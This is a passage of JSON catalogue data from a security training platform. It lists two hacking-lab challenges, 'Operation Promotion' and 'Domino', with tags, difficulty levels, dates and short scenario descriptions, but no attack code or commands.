Team","Penetration Tester/ Red Team","Linux","Purple","Privilege escalation"," Linux Privilege Escalation","segment 2.5"],"taskSearchText":" Operation Promotion <p>You are up for promotion at <strong>Hadron Security</strong>. Your senior lead, Mara, has handed you a solo engagement against <strong>RecruitCorp</strong>, a small recruiting firm with a public-facing portal. Compromise the host, capture the flags, and demonstrate that you are ready for the Penetration Tester title.</p>\n<p>Start the VM by clicking the <code>Start Lab Machine</code> button at the top-right of the task. You can complete the challenge by connecting through VPN or the AttackBox, which contains all the essential tools.</p>\n<p>Allow two to three minutes for all services to start.</p>","timeToComplete":60,"title":"Operation Promotion","type":"challenge","order":1},{"_id":"69fc9f14ac185f5063908c17","businessOnly":false,"code":"domino","collaborator":[],"contentDropPriority":0,"description":"Chain together vulnerabilities in a cascading attack, where every piece you find knocks over the next.","difficulty":"medium","difficultyLevel":3,"flags":{"isAzureContent":false},"freeToUse":false,"headerImage":"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/62a7685ca6e7ce005d3f3afe-1779093318309","imageURL":"https://tryhackme-images.s3.amazonaws.com/room-icons/62a7685ca6e7ce005d3f3afe-1779111847303","isShortScenario":false,"kind":"rooms","lastSyncedAt":"2026-05-27T07:00:14.838Z","noUsers":176,"paidAccess":{"streak":{"enabled":false},"active":false},"published":"2026-05-21T15:00:33.580Z","roomCreatorType":"tryhackme","rooms":[],"scenarioFlags":[],"tagDocs":[{"tag":"Penetration Tester/ Red Team","label":"Penetration Tester/ Red Team","weight":5,"category":"Job Roles","_id":"6a1696845ba5af21a079fdd6"},{"tag":"Web","label":"Web","weight":5,"category":"Technology","_id":"6a1696845ba5af21a079fdd7"},{"tag":"Nmap","label":"Nmap","weight":5,"category":"Tools","_id":"6a1696845ba5af21a079fdd8"},{"tag":"Nikto","label":"Nikto","weight":5,"category":"Tools","_id":"6a1696845ba5af21a079fdd9"},{"tag":"Red","label":"Red","weight":5,"category":"PoV","_id":"6a1696845ba5af21a079fdda"},{"tag":"curl","label":"curl","weight":5,"category":"Tools","_id":"6a1696845ba5af21a079fddb"},{"tag":" web","label":" web","weight":5,"category":"General","_id":"6a1696845ba5af21a079fddc"},{"tag":"segment 2.5","label":"segment 2.5","weight":3,"category":"Segment","_id":"6a1696845ba5af21a079fddd"},{"tag":"segment 3","label":"segment 3","weight":3,"category":"Segment","_id":"6a1696845ba5af21a079fdde"},{"tag":"Web application security","label":"Web application security","weight":5,"category":"Skills","_id":"6a1696845ba5af21a079fddf"}],"tags":["Penetration Tester/ Red Team","Web","Nmap","Nikto","Red","curl"," web","segment 2.5","segment 3","Web application security"],"taskSearchText":" Challenge <div class=\"virtual-environment\"> <img src=\"/_next/static/media/complete-card.7bd8622dbb3d9667.svg\" alt=\"Virtual Environment card placeholder\" /></div>\n<p>The NexusCorp Employee Portal appears to be a typical internal application with authentication controls and role-based access in place. However, multiple small weaknesses, ranging from misconfigurations to logic flaws, can be combined to fully compromise the system.</p>\n<p> As an attacker, your objective is to observe how the application behaves, interact with its endpoints, and identify weak trust boundaries. By analysing requests, modifying parameters, and chaining vulnerabilities together, you can progressively escalate your access and move deeper into the system.</p>\n<p><em>A single misstep can trigger a chain reaction, exploit each weakness in sequence and watch the system fall, one domino at a time.</em></p>","timeToComplete":60,"title":"Domino","type":"challenge","order":1}],"totalDocs":11,"limit":10,"page":1,"totalPages":2,"hasPrevPage":false,"hasNextPage":true,"prevPage":null,"nextPage":2,"pagingCounter":1}}